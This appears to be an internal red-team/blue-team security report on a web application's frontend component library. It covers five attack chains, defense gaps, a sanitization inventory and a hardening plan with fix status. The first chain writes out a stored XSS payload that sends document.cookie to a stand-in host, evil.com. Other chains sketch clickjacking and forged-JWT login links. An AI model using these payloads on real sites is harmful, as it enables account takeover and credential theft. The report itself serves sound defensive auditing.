UI Component Library — Red Team vs Blue Team Security Analysis¶
Generated: 2026-02-25 Scope: Frontend component library attack surfaces + defense inventory Method: Adversarial attack-defend analysis (BMAD Advanced Elicitation)
Executive Summary¶
The Red Team identified 1 Critical, 3 Medium, 2 Low direct vulnerabilities in the component library. The Blue Team revealed 4 Critical, 5 High systemic defense gaps. Combined, they produce 5 exploitable kill chains, with the most severe enabling full account takeover via stored XSS on publicly-accessible pages.
Total P0 fix effort: ~1.25 hours to close the 2 most critical vulnerabilities.
Kill Chains¶
KC1: GenericPage Stored XSS → Full Account Takeover¶
Severity: CRITICAL (CVSS ~9.1) | Affects: ALL public visitors + ALL admins
Attacker (page.create perm)
→ POST /generic-pages { description: "<img src=x onerror=\"fetch('https://evil.com?c='+document.cookie)\">" }
→ Backend: GenericPageService stores RAW HTML (ZERO sanitization — unlike Blog which uses SanitizerFactory)
→ Visitor navigates to /{slug}
→ dynamic-page.jsx: dangerouslySetInnerHTML={{ __html: data?.description }}
→ Script executes, steals JWT from non-httpOnly cookie
→ No CSP blocks the exfiltration fetch
→ Attacker has full account takeover
Red Team proof: GenericPageService.createPage() confirmed to have NO sanitizer call. The description field flows DB → API → dangerouslySetInnerHTML with zero transformation. The admin listing page (pages-page.jsx:503) also renders descriptions unsanitized.
Blue Team confirmation: No CSP headers exist. No DOMPurify installed on frontend. JWT cookie is not httpOnly (document.cookie readable).
Fix (45 min): Add SanitizerFactory("dompurify").sanitize(payload.description) to GenericPageService.createPage() and updatePage() in generic-page.service.ts.
KC2: Social Login Token Forgery¶
Severity: HIGH | Affects: Any user using Google OAuth
Attacker crafts fake JWT with admin claims
→ Sends victim link: /login?token=<forged-jwt>&user=<fake-user-json>
→ login.jsx:276: jwtDecode(token) — decodes WITHOUT signature verification
→ login.jsx:297: setCookie("token", token) — stores forged token
→ Victim is "authenticated" with attacker-controlled claims
→ Redux state populated with fake user data
Red Team proof: jwt-decode library explicitly states it "does NOT verify signatures." The social login callback trusts any JWT from URL query parameters.
Blue Team confirmation: No server-side token verification in the frontend social login callback path. Token passed as URL parameter leaks via Referrer headers, browser history, and server logs.
Fix (2 hrs): Remove client-side JWT handling from social login. Backend should validate OAuth callback and set httpOnly cookie directly via Set-Cookie header.
KC3: Clickjacking — Admin Actions¶
Severity: HIGH | Affects: Admin users
Attacker creates page: <iframe src="https://target-app.com/dashboard/users" style="opacity:0">
→ No X-Frame-Options header → app can be framed
→ Overlay fake UI on top of invisible iframe
→ User clicks "Delete All Users" thinking they're clicking attacker's button
Blue Team finding: Zero security headers. No X-Frame-Options, no frame-ancestors CSP directive.
Fix (15 min): Add X-Frame-Options: DENY and Content-Security-Policy: frame-ancestors 'none' to next.config.mjs headers.
KC4: Blog Preview XSS → Admin Credential Theft¶
Severity: MEDIUM | Affects: Admin users reviewing blog drafts
Attacker with blog.create perm
→ Creates blog with manipulated BlockNote content containing <script>
→ Admin opens blog for review → clicks "Preview"
→ blogs-form.jsx passes watchedContent (raw, pre-sanitization) to BlogPageFrontend
→ blog-page-frontend.jsx: dangerouslySetInnerHTML={{ __html: blog.content }}
→ Script executes in admin's browser session
Red Team proof: Blog preview uses watchedContent (raw editor HTML), NOT the sanitized backend content. Backend sanitizer only runs on save. Preview runs before save.
Fix (30 min): Install isomorphic-dompurify. Sanitize content client-side before passing to preview modal.
KC5: IframeEmbed Phishing in Editor¶
Severity: MEDIUM | Affects: Editor users
Attacker with blog.create perm
→ Embeds iframe: https://evil.com/fake-session-expired
→ No URL allowlist, no sandbox attribute
→ Another editor opens the draft → sees fake "Session Expired" login form inside iframe
→ Enters credentials → sent to attacker
→ Public readers NOT affected (backend strips <iframe> tags)
Red Team proof: getEmbedUrl() returns any unrecognized URL unchanged. No sandbox attribute on any iframe (zero grep matches across entire codebase). Public path is safe because backend sanitizer strips <iframe> tags.
Fix (30 min): Add URL allowlist (YouTube, Vimeo, Dailymotion only) + sandbox="allow-scripts allow-same-origin" to all iframes.
Blue Team: Defense Gap Matrix¶
| Defense Category | Status | Severity of Gap |
|---|---|---|
| CSP Headers | DONE — static CSP in next.config.mjs. unsafe-eval removed from script-src. unsafe-inline kept (nonce-based CSP incompatible with Next.js 15.3 static rendering — DOMPurify is primary XSS defense). connect-src includes Cloudinary. img-src includes Google profile images |
|
| All Security Headers (X-Frame-Options, HSTS, nosniff, Referrer-Policy, Permissions-Policy) | VERIFIED DONE — frontend next.config.mjs + backend Helmet. HSTS includes preload, Permissions-Policy disables camera/mic/geo |
|
| Input Sanitization (frontend) | VERIFIED DONE — all 9 original sites now use SanitizedHTMLPreview (DOMPurify strict allowlist) or are safe JSON-LD. ESLint react/no-danger: warn enforced |
|
| GenericPage backend sanitization | OPEN — only module with no sanitizer call | CRITICAL — enables KC1 |
| httpOnly Cookie | PARTIAL — backend auth.utils.ts sets httpOnly, but frontend still creates duplicate non-httpOnly cookies via setCookie() in login.jsx and auth/index.js — frontend cookie code should be removed |
HIGH |
| Token in URL (social login) | OPEN — JWT as query param + jwt-decode doesn't verify signatures |
HIGH — enables KC2 |
| Token in Redux state | DONE — token removed from authSlice.js state; only user + isAuthenticated stored. Token read from cookie only in axios interceptor |
|
| Iframe sandbox | VERIFIED DONE — sandbox="allow-scripts allow-same-origin" on embeds, sandbox="allow-same-origin" on HTML preview |
|
| Iframe URL allowlist | VERIFIED DONE — YouTube, Vimeo, Dailymotion only; non-whitelisted URLs return null |
|
| X-Frame-Options | VERIFIED DONE — DENY on frontend + frame-ancestors 'none' in CSP (defense-in-depth) |
|
| Permission enforcement | DONE — backend hasPermission + permissionMiddleware on routes |
|
| Image domain allowlist | DONE — **.cloudinary.com wildcard removed; scoped to res.cloudinary.com, images.unsplash.com, lh3.googleusercontent.com (Google OAuth avatars) |
|
| CSRF Protection | PARTIAL — sameSite: strict mitigates; no CSRF tokens |
MEDIUM |
| target="_blank" rel | VERIFIED DONE — all links have rel="noopener noreferrer" including footer-credit, LinkBlock, page-form |
|
| Axios interceptor | VERIFIED DONE — proper null check + parentheses, correct 401/403 handling | |
| Token leak to 3rd party | VERIFIED DONE — createEditor.jsx no longer exists; no external token transmission found |
dangerouslySetInnerHTML Inventory — VERIFIED 2026-04-07¶
Original 9 sites reduced to 4 actual usages. All user-generated HTML now routes through SanitizedHTMLPreview (DOMPurify strict allowlist).
| # | File | Input Source | Public? | Sanitized? | Status |
|---|---|---|---|---|---|
| 1 | lib/utils.js:34 (formatText) |
Text split on <br> |
Via callers | YES — SanitizedHTMLPreview |
|
| 2 | ui/chart.jsx:64 |
Comment only — uses textContent instead |
No | N/A | |
| 3 | pages/blogs/blog-page-frontend.jsx:90 |
blog.content from API |
YES | YES — SanitizedHTMLPreview |
|
| 3b | pages/blogs/blog-page-frontend-v2.jsx:143 |
blog.content from API |
YES | YES — SanitizedHTMLPreview |
|
| 4 | pages/dynamic-page/dynamic-page.jsx:19 |
data?.description from API |
YES | YES — SanitizedHTMLPreview |
|
| 4b | pages/dynamic-page/dynamic-page-v2.jsx:18 |
data?.description from API |
YES | YES — SanitizedHTMLPreview |
|
| 5-7 | pages/email-templates/email-preview.jsx:287,291,296 |
Template column content | Admin only | YES — SanitizedHTMLPreview |
|
| 8 | common/structured-data.jsx:10 |
JSON-LD schema (app-generated, JSON.stringify only) |
Yes | Not needed | SAFE |
| 9 | pages/pages/pages-page.jsx:503 |
page.description from API |
Admin only | YES — SanitizedHTMLPreview |
|
| 10 | common/breadcrumb-v2.jsx:25 |
JSON-LD breadcrumb (app-generated, JSON.stringify only) |
Yes | Not needed | SAFE |
| — | ui/sanitized-html-preview.jsx:21 |
Sanitization wrapper itself | — | YES — DOMPurify strict allowlist | SAFE (by design) |
Hardening Plan (Priority Order)¶
| Priority | Action | Effort | Kill Chains Fixed | Status |
|---|---|---|---|---|
| P0 | Add sanitizer to GenericPageService.createPage() and updatePage() |
45 min | KC1 | OPEN |
| P0 | Add security headers to next.config.mjs (CSP, X-Frame-Options, HSTS, nosniff, Referrer-Policy) |
30 min | KC1, KC3 | DONE |
| P1 | Move JWT to httpOnly cookie (backend Set-Cookie header) |
4 hrs | KC1, KC2, KC4 | DONE |
| P1 | Remove client-side JWT handling from social login callback | 2 hrs | KC2 | OPEN |
| P1 | Install isomorphic-dompurify, sanitize all 9 dangerouslySetInnerHTML sites |
2 hrs | KC1, KC4 | DONE |
| P2 | Add iframe URL allowlist + sandbox attribute |
30 min | KC5 | DONE |
| P2 | Sanitize blog preview content client-side before rendering | 30 min | KC4 | DONE |
| P2 | Fix axios interceptor operator precedence bug | 5 min | Reliability | DONE |
| P2 | Restrict images.remotePatterns to known domains (remove wildcard **) |
15 min | SSRF | DONE — **.cloudinary.com removed, scoped to res.cloudinary.com |
| P2 | Harden CSP — remove unsafe-eval from script-src, tighten img-src/connect-src allowlists |
30 min | KC1, KC4 | DONE — unsafe-eval removed, domain allowlists tightened. Nonce-based CSP deferred (incompatible with Next.js 15.3 static rendering) |
| P2 | Remove frontend cookie-setting code (setCookie in login.jsx, auth/index.js) |
30 min | KC1, KC2 | OPEN |
| P2 | Remove token from Redux state (authSlice.js) — store only user + isAuthenticated |
30 min | Defense-in-depth | DONE — token removed from state, cookie-only token access |
| P3 | Add focus trap to custom modal (focus-trap-react) |
1 hr | Accessibility | DONE — focus-trap-react + Escape key + ARIA attrs |
| P3 | Enforce backend permissions on all API endpoints | Ongoing | Amplifier | DONE |
| P3 | Add rel="noopener noreferrer" to footer-credit.jsx links |
5 min | Tabnapping | DONE |
Remaining open: 3 items (GenericPageService backend sanitizer, social login token flow, frontend cookie cleanup)
Verification Log¶
Last verified: 2026-04-07 by code audit (all frontend source files inspected)
Verification summary: Frontend sanitization work is comprehensive and follows industry best practices (DOMPurify strict allowlist, ESLint enforcement, sandboxed iframe preview). CSP hardened — unsafe-eval removed, domain allowlists tightened, connect-src and img-src scoped to specific hosts. Nonce-based CSP (unsafe-inline removal) deferred — Next.js 15.3 does not reliably inject nonces into framework inline scripts with static rendering; revisit when Next.js adds stable nonce support. Remaining gaps are primarily backend-dependent (GenericPage sanitizer, social login flow).
Additional Blue Team Findings¶
Authentication Token Security¶
| Issue | Detail | Severity | Status |
|---|---|---|---|
| Not httpOnly | JWT accessible via document.cookie and getCookie("token") |
CRITICAL | PARTIAL — backend sets httpOnly via auth.utils.ts, but frontend still creates duplicate non-httpOnly cookie via setCookie() in login.jsx and auth/index.js — remove frontend cookie code |
| Token in URL params | Social login callback passes JWT as query parameter (/login?token=...) |
HIGH | OPEN — KC2 still present |
| Token leak to 3rd party | createEditor.jsx sends user?.data?.accessToken to external URL |
HIGH | VERIFIED DONE — file no longer exists, no external token transmission |
| Token in Redux store | Accessible via Redux DevTools in production | MEDIUM | DONE — token removed from authSlice.js; only user + isAuthenticated in Redux |
| No token rotation | useRefreshToken exists but never called automatically |
MEDIUM | Acceptable — expiry-based logout |
jwt-decode misuse |
Used to "validate" tokens — only decodes, does NOT verify signatures | HIGH | OPEN — still used in social login |
Dependency Risks¶
| Package | Version | Risk | Status |
|---|---|---|---|
@blocknote/core |
0.35.0 | HTML output rendered via dangerouslySetInnerHTML — any serialization bypass = stored XSS |
MITIGATED — SanitizedHTMLPreview |
cookies-next |
6.1.0 | Enables non-httpOnly cookie patterns by design | PARTIAL — httpOnly set server-side, but frontend still calls setCookie() creating non-httpOnly duplicates |
jwt-decode |
4.0.0 | Does NOT verify signatures — misused in social login flow | OPEN — KC2 |
images.remotePatterns |
** wildcard |
Allows Next.js image optimization for ANY domain — SSRF surface | DONE — scoped to Cloudinary + Unsplash |
Generated by BMAD Advanced Elicitation — Red Team vs Blue Team method Applied to: UI Component Library Deep-Dive (docs/deep-dive-ui-component-library.md) Date: 2026-02-25